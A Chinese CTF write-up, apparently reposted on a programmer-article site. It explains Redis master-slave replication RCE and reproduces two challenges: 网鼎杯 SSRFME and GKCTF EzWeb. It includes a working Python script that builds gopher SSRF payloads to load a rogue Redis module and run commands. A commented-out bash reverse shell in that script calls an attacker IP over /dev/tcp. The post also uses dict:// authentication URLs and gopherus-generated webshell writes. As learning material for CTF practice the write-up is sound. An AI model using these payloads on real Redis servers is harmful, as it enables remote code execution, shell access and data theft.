欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

redis 主从复制 rce 和 题目复现

程序员文章站 2022-05-16 10:27:38
...
0x01 RESP 协议

redis 客户端和服务端之间采用RESP 协议来通信,RESP 协议全称 REdis Serialization Protocol
理解 Redis 的 RESP 协议
redis 主从复制 rce 和 题目复现
redis 主从复制 rce 和 题目复现
搞清RESP 协议,就可以看懂 redis-rogue-server.py 中是怎么构造协议的了,以及怎么把redis 客户端命令转化成 通信时的 数据了

0x02 主从复制 中的FULLRESYNC (全局同步):

贴一篇文章,讲到很详细:Redis 全量同步解析
redis 主从复制 rce 和 题目复现
也就是说master 回复 +FULLRESYNC ,接着就把发送RDB 文件给 slave
看看redis-rogue-server.py源代码 中也正是利用这点,把原来需要发送的RDB 替换成了evil.so :
redis 主从复制 rce 和 题目复现
意思就是 本来FULLERSYNC 中, master 是要发送master 的rdb 文件给slave 的,但是通过脚本的修改,发送evil.so 的内容给slave 了
这样一来,master 就通过FULLERSYNC 来将evil.so 文件传到了slave

0x03 题目复现:

1.网鼎杯2020 玄武组 SSRFME:

本题在buu 上复现,首先进入题目,利用http://0.0.0.0/hint.php 绕过check_inner_ip() 函数的检测
发现提示 redis 的密码 为 root , 使用dict 协议尝试 一下
redis 主从复制 rce 和 题目复现
http://6192276e-39e6-4716-859a-e0ca5bff94ac.node3.buuoj.cn/?url=dict://0.0.0.0:6379/AUTH%3Aroot 认证
认证正确
redis 主从复制 rce 和 题目复现
利用小号开启buu 的一个linux 主机,因为buu 的 内网 linux 主机没法直接联网下载文件,所以使用ssh 上传本地下载好的redis-rogue-server 脚本 开启 server
redis 主从复制 rce 和 题目复现
然后使用构造gopher 协议的脚本
自己结合网上的脚本改进了,贴出脚本:

# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。
from urllib.parse import quote

def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x))) + CRLF + x
    cmd += CRLF
    return cmd


def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
    exp_filename = "exp.so"
    cmd = [
    	# 第一次
        # "CONFIG SET dir /tmp/",
        # "config set dbfilename exp.so",
        # "SLAVEOF {} {}".format(lhost, lport),

		# 第二次
        # "MODULE LOAD /tmp/exp.so",
		
		# 第三次	
        "system.exec {}".format(command.replace(" ", "${IFS}")),
		# 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数

        # "system.rev 174.2.6.11${IFS}2333",
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit",

    ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


if __name__ == '__main__':
    #攻击机ip:
    lhost =  "174.2.6.11"
    lport = "21000"
    passwd = "root"
    command = "cat /flag"
    # command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"
    cmd = generate_rce(lhost,lport,passwd,command)

    rhost = "0.0.0.0"
    rport = "6379"

    payload = 'gopher://'+rhost+":"+rport+"/_"
    a = ""

    for x in cmd:
        a += redis_format(x)
        payload += quote(redis_format(x))

    print(a)
    print(payload)

第一次paylod :
redis 主从复制 rce 和 题目复现
redis 主从复制 rce 和 题目复现

第二次payload:
redis 主从复制 rce 和 题目复现
第三次payload:
redis 主从复制 rce 和 题目复现

还需要注意的一点是由于题目中还使用了curl ,所以需要对payload 进行二次url 编码,这个利用hackbar 可以很方便的操作

但是buu 的环境 我反弹shell 没有成功,使用system.rev 命令或者 system.exec 加反弹shell 命令 都没有反弹成功。也不知道什么原因,但是system.exec 确实可以执行命令,然后执行cat /flag 就可以得到flag 了


2.GKCTF EZ三剑客-EzWeb (正好是一起做的 ,虽然没用到主从复制但是也和redis rec 以及 ssrf 有关)

同样在buu 复现
首先进入题目,查看源代码,访问?secret
redis 主从复制 rce 和 题目复现
返回的是ifconfig 的结果,然后输入框中又提示 输入url ,很敏感,想到ssrf,然后通过结果 返回173.211.241.10 ,用burp 跑一下,得到173.211.241.11
redis 主从复制 rce 和 题目复现
那就接着跑端口,发现6379端口是开发的
redis 主从复制 rce 和 题目复现
推荐一款 gopher 协议利用工具 gopherus,非常好用,直接使用 gopherus 工具,直接生成webshell , 对了,直接在windows 下运行会出现乱码,修改gopherus.py ,在开头增加 :

import colorama
from colorama import init,Fore,Back,Style
init(autoreset=True)

即可解决乱码问题
redis 主从复制 rce 和 题目复现
把payload 放到url 处,然后再访问 http://173.211.241.11/shell.php 即可得到flag
redis 主从复制 rce 和 题目复现
题目作者的wp : GKCTF-EzWeb+redis未授权访问 , 里面提到一嘴,如果使用dict 协议来直接写webshell 可能会导致乱码或者写入失败,这个时候可以使用主从复制,在master 上面写shell ,然后通过主从复制,写入到slave 中。这个小 tips 可以记住